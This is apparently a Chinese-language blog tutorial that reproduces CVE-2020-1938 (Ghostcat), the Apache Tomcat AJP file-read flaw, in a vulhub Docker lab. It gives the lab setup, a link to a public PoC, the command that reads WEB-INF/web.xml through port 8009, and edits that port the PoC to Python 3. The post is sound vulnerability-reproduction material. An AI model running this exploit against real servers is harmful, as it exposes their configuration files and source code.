Aapache Tomcat AJP 文件包含漏洞复现

2022-11-02 14:29:20 浏览数 (1)

0x01 漏洞简介

Tomcat 服务器作一个免费的开放源代码的Web 应用服务器,其安装后会默认开启ajp连接器,方便与其他web服务器通过ajp协议进行交互。

CVE-2020-1938漏洞是由于Tomcat AJP协议存在缺陷而导致,攻击者利用该漏洞可通过构造特定参数,读取服务器webapp下的任意文件,例如可以读取 webapp 配置文件或源代码。若目标服务器同时存在文件上传功能,攻击者可进一步实现远程代码执行。

影响范围

  • Apache Tomcat 6
  • Apache Tomcat 7 < 7.0.100
  • Apache Tomcat 8 < 8.5.51
  • Apache Tomcat 9 < 9.0.31

0x02 漏洞环境

使用vulnhub快速搭建靶场

代码语言:javascript复制
cd /vulhub/tomcat/CVE-2020-1938
sudo docker-compose up -d

环境启动后,访问http://your-ip:8080即可查看tomcat默认页面,此时通过AJP协议的8009端口亦可访问Tomcat。

0x03 漏洞利用

目前,在网上已经公布了该漏洞的POC:

代码语言:javascript复制
https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi

将POC下载到本地,使用如下命令读取WEB-INF/web.xml文件:

代码语言:javascript复制
python CNVD-2020-10487-Tomcat-Ajp-lfi.py 192.168.126.130 -p 8009 -f WEB-INF/web.xml

该POC脚本是python2编写的,如果想用python3运行,只需修改如下两处:

代码语言:javascript复制
self.socket.makefile("rb", bufsize=0) 修改为 self.socket.makefile("rb", buffering=0)
print("".join([d.data for d in data])) 修改为 print("".join([d.data.decode() for d in data]))

成功读取WEB-INF/web.xml文件,证明漏洞存在

参考文章

  • https://blog.csdn.net/qq294235493/article/details/104494266/

0 人点赞